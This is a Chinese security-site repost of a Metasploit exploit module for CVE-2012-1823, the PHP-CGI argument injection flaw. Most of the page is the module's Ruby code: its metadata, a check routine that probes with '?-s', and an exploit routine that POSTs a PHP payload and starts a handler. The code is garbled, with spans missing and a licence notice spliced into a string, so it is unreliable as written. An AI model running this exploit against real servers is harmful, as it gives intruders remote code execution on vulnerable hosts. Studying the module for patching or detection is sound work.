CVE-2012-1823 php-cgi 漏洞 metasploit 利用脚本

admin 2021年4月3日20:00:49评论59 views字数 2308阅读7分41秒阅读模式
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3  'PHP CGI Argument Injection',
	  'Description'	=> %q{
		When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to
		an argument injection vulnerability.  This module takes advantage of
		the -d flag to set php.ini directives to achieve code execution.
		From the advisory: "if there is NO unescaped '=' in the query string,
		the string is split on '+' (encoded space) characters, urldecoded,
		passed to a function that escapes shell metacharacters (the "encoded in
		a system-defined manner" from the RFC) and then passes them to the CGI
		binary."
	  },
	  'Author'		 => [ 'egypt', 'hdm' ],
	  'License'		=> MSF_LICENSE,
	  'Version'		=> '$Revision声明: 本文采用 BY-NC-SA 协议进行授权. 转载请注明转自: FreebuF.COM - CVE-2012-1823 php-cgi漏洞 metasploit利用脚本,
	  'References'	 => [
		  [ 'CVE'  , '2012-1823' ],
		  [ 'OSVDB', '81633'],
		  [ 'URL'  , 'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/' ],
		],
	  'Privileged'	 => false,
	  'Payload'		=>
		{
		  'DisableNops' => true,
		  # Arbitrary big number. The payload gets sent as an HTTP
		  # response body, so really it's unlimited
		  'Space'	   => 262144, # 256k
		},
	  'DisclosureDate' => 'May 03 2012',
	  'Platform'	   => 'php',
	  'Arch'		   => ARCH_PHP,
	  'Targets'		=> [[ 'Automatic', { }]],
	  'DefaultTarget' => 0))

	register_options([
	  OptString.new('TARGETURI', [false, "The URI to request (must be a CGI-handled PHP script)"]),
	  ], self.class)
  end

  # php-cgi -h
  # ...
  #   -s			   Display colour syntax highlighted source.
  def check
	uri = target_uri.path

	uri.gsub!(/?.*/, "")

	print_status("Checking uri #{uri}")

	response = send_request_raw({ 'uri' => uri })

	if response and response.code == 200 and response.body =~ / uri + '?-s'})
	if response and response.code == 200 and response.body =~ / "POST",
		'global' => true,
		'uri'	=> uri,
		'data'   => payload_oneline,
	  }, 0.5)
	  handler

	rescue ::Interrupt
	  raise $!
	rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
	  print_error("The target service unreachable")
	rescue ::OpenSSL::SSL::SSLError
	  print_error("The target failed to negotiate SSL, is this really an SSL service?")
	end

  end

  def rand_php_ini_false
	Rex::Text.to_rand_case([ "0", "off", "false" ][rand(3)])
  end

  def rand_php_ini_true
	Rex::Text.to_rand_case([ "1", "on", "true" ][rand(3)])
  end

end

文章来源于lcx.cc:CVE-2012-1823 php-cgi 漏洞 metasploit 利用脚本

相关推荐: rtl-sdr,RTL2832电视棒跟踪飞机轨迹教程(ADS-B), SDR GPS 飞机追踪

Step by step: rtl-sdr,RTL2832电视棒跟踪飞机轨迹教程(ADS-B),SDR GPS 飞机追踪,电视棒,玩飞机,教程。 背景1:前段日子用电视棒成功跟踪到了飞机(见这篇跟踪结果的博文:rtl-sdr,RTL2832+E4k tuner…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日20:00:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2012-1823 php-cgi 漏洞 metasploit 利用脚本https://cn-sec.com/archives/324869.html

发表评论

匿名网友 填写信息